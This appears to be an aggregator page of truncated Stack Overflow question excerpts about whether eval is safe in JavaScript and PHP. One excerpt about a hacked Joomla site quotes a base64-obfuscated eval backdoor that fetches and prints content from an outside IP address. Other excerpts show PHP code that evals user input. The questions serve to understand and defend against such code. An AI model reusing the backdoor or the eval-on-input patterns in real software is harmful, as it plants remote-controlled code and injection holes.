草庐IT

eval_derivative

全部标签

javascript - 为什么 eval 在 javascript 中不安全?

这个问题在这里已经有了答案:关闭11年前。PossibleDuplicate:Whyexactlyisevalevil?我读到有人声称eval在对任意用户输入代码运行时是不安全的。我在访问文件系统等的服务器上运行的其他语言中理解这一点。但是,为什么在浏览器中执行代码时这很重要?毕竟,您不能直接启动Firebug并随意编写您想要的任意脚本吗?那么eval有什么不同呢?

javascript - 跟踪 Javascript eval 中错误的源代码行

我正在构建一些包含动态异步javascript的东西,这很有效,但我正在寻求改进错误检测(因此所有错误似乎不仅仅来自AJAX调用附近的某行将它们拉下来。如果我使用eval评估多行javascript文件,是否有任何方法可以跟踪错误发生在哪一行?通过在包含时保留对我需要的变量的引用,我可以毫无问题地确定错误发生在哪个文件中。我的问题是确定错误发生在哪行。例子:try{eval("varvalid_statement=7;\ninvalid_statement())))");}catch(e){varerr=newError();err.message='ErrorinEvaldScrip

javascript - 为什么 let 关键字不能与 eval() 一起使用

这个问题在这里已经有了答案:Defineconstvariableusingeval()(2个答案)关闭4年前。functionfoo(str,a){eval(str);console.log(a,b);}foo("varb=3;",1);这很好用,但是当我们使用let而不是var时,它就不起作用了。为什么?

javascript - ES6 模板文字比 eval 更安全吗?

模板字面量对我来说有点像eval,它经常被引用为usingevalisabadidea.我不关心performanceoftemplateliterals,但我担心注入(inject)攻击(以及我可能没有想到的其他安全问题)。编辑Anexampleofsomethingthatfeelsoddtomeletii=1;functioncounter(){returnii++;}console.log(`${counter()},${ii++},${counter()}`);哪些输出1,2,3模板文字在全局级别产生副作用。既可以通过函数,也可以直接。编辑2Anexampleindicati

php - Laravel - 带有 blade compileString 的 php eval

我正在尝试将Blade模板字符串解析为php格式,并使用eval()将字符串作为php代码求值$array=['foo'=>'bar','bar'=>'foo'];$content='@foreach($arrayas$value){{$value}}@endforeach';$blade=Blade::compileString($content);$php=eval($blade);这是我到目前为止的测试代码,它抛出异常ParseError:syntaxerror,unexpected'$blade在compileString()之后的值addLoop($__currentLoop

php - 如何在 php 中安全地使用 eval?

我知道只要有用户输入,有些人可能只会回答“从不”。但是假设我有这样的东西:$version=$_REQUEST['version'];$test='return$version>3;';$success=eval($test);这显然是一个简化的案例,但是用户可以输入什么作为version来让它做一些恶意的事情吗?如果我限制$test可以采用的字符串类型来将某些变量的值与其他变量进行比较,有没有任何人可以看到利用它的方法?编辑我已尝试在服务器上运行以下脚本,但没有任何反应:3;';$result=eval('return'.$teststr);var_dump($result);?>我

PHP EVAL - 解决不安全问题

我们有一个系统必须执行用户输入提供的计算。我发现进行其中一种计算的最简单方法是eval——尝试找出一个解析器用于:(3+6)/2+27*5/2只是看起来很难。如果有人对此有解决方案-我很乐意听到。假设您要使用EVAL(我知道它的可怕功能),允许他们在该框中键入他们想要的任何内容将是一个主要的不安全因素。所以,我提出这个问题,如果我做一个正则表达式,删除除数字、标准运算符(+-/*)和括号之外的所有内容,比如$equation=preg_replace('/[^0-9+-\/*()]/','',$input_equation);$result=eval($equation);系统是否可能

php - 这样使用 eval 安全吗?

假设我有一个名为query.sql的文件,其中包含以下内容:SELECT*FROM`users`WHERE`id`!=".$q->Num($_POST['id'])."在我的php脚本中,它有一个带有名为“id”的输入的html表单,我做了以下技巧:$sql=file_get_contents('query.sql');$query=eval("return\"$sql\";");//herefollowssomethinglike$mysqli->query($query);andsoon..我不关心SQL注入(inject),因为我使用的是准备好的语句并且$q->Num执行is_i

php - 网站后门 & eval()

关闭。这个问题是off-topic.它目前不接受答案。想改进这个问题吗?Updatethequestion所以它是on-topic用于堆栈溢出。关闭9年前。Improvethisquestion我运行的Joomla1.7网站今天被黑了。下面的脚本进行了破解。eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU

php - 安全地使用 php : modifying user input to avoid security issues 中的 eval 函数

我正在接管一些使用eval()的网页游戏代码php中的函数我知道这可能是一个严重的安全问题,所以我希望在决定是否取消该部分代码之前帮助审查检查其参数的代码。目前我已经从游戏中删除了这部分代码,直到我确定它是安全的,但功能损失并不理想。我宁愿对此进行安全验证,也不愿重新设计整个段以避免使用eval(),假设这样的事情是可能的。据称可以防止恶意代码注入(inject)的相关代码片段如下。$value是一个用户输入的字符串,我们知道它不包含“;”。1$value=eregi_replace("[\t\r]","",$value);2$value=addslashes($value);3$va